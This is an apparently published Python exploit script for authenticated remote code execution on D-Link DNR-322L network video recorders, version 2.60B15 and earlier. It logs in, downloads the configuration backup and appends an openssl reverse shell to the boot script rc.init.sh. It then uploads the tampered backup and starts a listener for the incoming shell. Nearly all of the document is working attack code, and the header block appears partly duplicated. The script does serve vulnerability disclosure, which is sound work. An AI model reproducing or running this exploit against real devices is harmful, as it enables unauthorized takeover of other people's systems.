# Date: 13.09.2022
# Exploit Author: luka <luka@lukasec.ch>
# Exploit Writeup: https:// # Exploit Title: D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution
# Date: 13.09.2022
# Exploit Author: luka <luka@lukasec.ch>
# Exploit Writeup: https://lukasec.ch/posts/dlink_dnr322.html
# Vendor Homepage: https://dlink.com
# Vendor Advisory: https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10305
# Software Link: http://legacyfiles.us.dlink.com/DNR-322L/REVA/FIRMWARE
# Version: <= 2.60B15
# Tested on: Debian, Windows 10
"""
# Vulnerability
Inside the configuration backup from "Maintenance/System/Configuration Settings" is the bash script "rc.init.sh". The device does not check the integrity of a restored configuration backup which enables editing of set bash script. This bash script will be executed when the device boots.
# Usage
exploit.py [-h] -U USERNAME [-P PASSWORD] -t TARGET -l LHOST -p LPORT
options:
-h, --help show this help message and exit
-U USERNAME, --username USERNAME
Username, ex: admin
-P PASSWORD, --password PASSWORD
Password for the specified user
-t TARGET, --target TARGET
IP of the target, ex: 192.168.99.99
-l LHOST, --lhost LHOST
IP for the reverse shell to connect back to, ex: 123.123.123.123
-p LPORT, --lport LPORT
Port for the reverse shell to connect back to, ex: 8443
"""
import argparse, socket, requests, base64, urllib, os, shutil, tarfile, random, string
from ipaddress import ip_address
args = argparse.ArgumentParser()
args.add_argument(
"-U",
"--username",
type=str,
required=True,
dest="username",
help="Username, ex: admin",
)
args.add_argument(
"-P",
"--password",
type=str,
required=False,
dest="password",
help="Password for the specified user",
)
args.add_argument(
"-t",
"--target",
type=str,
required=True,
dest="target",
help="IP of the target, ex: 192.168.99.99",
)
args.add_argument(
"-l",
"--lhost",
type=str,
required=True,
dest="lhost",
help="IP for the reverse shell to connect back to, ex: 123.123.123.123",
)
args.add_argument(
"-p",
"--lport",
type=int,
required=True,
dest="lport",
help="Port for the reverse shell to connect back to, ex: 8443",
)
args = args.parse_args()
# base64 + url encode string
# returns string
def b64_url_encode(data):
enc = data.encode("utf-8")
encB = base64.b64encode(enc)
encUrl = urllib.parse.quote(str(encB, "utf-8"))
return encUrl
# since user input is always unsafe, test IPs
try:
ip_address(args.target)
except Exception:
print("[!] Target IP is not a valid IP address")
exit(1)
try:
ip_address(args.lhost)
except Exception:
print("[!] Reverse shell IP is not a valid IP address")
exit(1)
# check if target is online
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
# hardcoded http, change if needed
s.connect((args.target, 80))
s.close()
except Exception:
print("[!] Target is not online")
exit(1)
print("[+] Target is online")
# login param
authUrl = "http://" + args.target + "/cgi-bin/login_mgr.cgi"
authHeaders = {"content-type": "application/x-www-form-urlencoded"}
authCheckCmd = "cmd=ui_check_wto"
session = requests.Session()
# if password is empty supply dont supply anything
if not args.password:
authBody = (
"cmd=login&port=&mydlink=0&protocol=0&R_language=en&username="
+ args.username
+ "&pwd=&ssl_port=443&f_login_type=0&f_url="
)
else:
authBody = (
"cmd=login&port=&mydlink=0&protocol=0&R_language=en&username="
+ args.username
+ "&pwd="
+ b64_url_encode(args.password)
+ "&ssl_port=443&f_login_type=0&f_url="
)
try:
# login
reqLogin = session.post(authUrl, headers=authHeaders, data=authBody)
# check if successful
reqCheck = session.post(authUrl, headers=authHeaders, data=authCheckCmd)
if "success" in reqCheck.text:
print("[+] Login successful")
else:
print("[!] Error during login, check credentials")
exit(1)
except Exception as error:
print(error)
print("[!] Error during login, check credentials")
exit(1)
# download backup
print("[*] Downloading backup")
if os.path.exists("backup_clean"):
os.remove("backup_clean")
# download param
downloadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi"
downloadHeaders = {"content-type": "application/x-www-form-urlencoded"}
downloadCmd = "cmd=cgi_backup_conf"
try:
reqBackup = session.post(downloadUrl, headers=downloadHeaders, data=downloadCmd)
except Exception as error:
print(error)
print("[!] Error while downloading backup")
exit(1)
# saving to disk
try:
f = open("backup_clean", "wb")
f.write(reqBackup.content)
f.close()
if not os.path.exists("backup_clean"):
print("[!] Error while saving backup")
exit(1)
except Exception as error:
print(error)
print("[!] Error while saving backup")
exit(1)
print("[+] Download successful")
# unpack backup (tar.gz file)
try:
config = tarfile.open("backup_clean")
config.extractall()
config.close()
except Exception as error:
print(error)
print("[!] Error while unpacking backup")
exit(1)
# inject stuff into startup script
try:
bashscript = open("backup/rc.init.sh", "a")
# revshell with openssl
payload = (
" (( sleep 10; rm -f /tmp/lol; mknod /tmp/lol p; cat /tmp/lol | /bin/ash -i 2>&1 | openssl s_client -quiet -connect %s:%s >/tmp/lol & ) & ) "
% (args.lhost, args.lport)
)
bashscript.write(payload)
# also start a telnet deamon (has same passwd as web)
# bashscript.write("utelnetd -d")
bashscript.close()
except Exception as error:
print(error)
print("[!] Error while creating malicious backup")
exit(1)
print("[+] Created malicious backup")
# re pack file
try:
configInj = tarfile.open("backup_injected", "w:gz")
configInj.add("backup")
configInj.close()
# remove unpacked folder
shutil.rmtree("backup", ignore_errors=False, onerror=None)
except Exception as error:
print(error)
print("[!] Error while re-packing malicious backup")
exit(1)
# upload
print("[*] Uploading malicious backup")
uploadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi"
uploadHeaders = {
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryhellothere"
}
configInj = open("backup_injected", "rb")
tardata = configInj.read().decode("latin-1")
uploadBody = (
'------WebKitFormBoundaryhellothere Content-Disposition: form-data; name="cmd" cgi_restore_conf ------WebKitFormBoundaryhellothere Content-Disposition: form-data; name="file"; filename="backup" Content-Type: application/x-gzip '
+ tardata
+ " ------WebKitFormBoundaryhellothere-- "
)
reqUpload = session.post(uploadUrl, headers=uploadHeaders, data=uploadBody)
if "web/dsk_mgr/wait.html" in reqUpload.text:
print("[+] Upload successful, target will reboot now")
else:
print("[!] Error while uploading malicious backup")
exit(1)
# creating listener
print("[*] Started listener, waiting for the shell to connect back")
print("[*] When you are done kill the shell with Ctrl+C")
# random name
randInt = "".join(random.choice(string.ascii_lowercase) for i in range(10))
# generate the cert and the key for the openssl listener
os.system(
'openssl req -x509 -newkey rsa:4096 -keyout /tmp/%s_key.pem -out /tmp/%s_cert.pem -days 365 -nodes -subj "/CN=example.com" 2> /dev/null'
% (randInt, randInt)
)
# create an openssl listener
os.system(
"openssl s_server -quiet -key /tmp/%s_key.pem -cert /tmp/%s_cert.pem -port %s"
% (randInt, randInt, args.lport)
)
exit(0)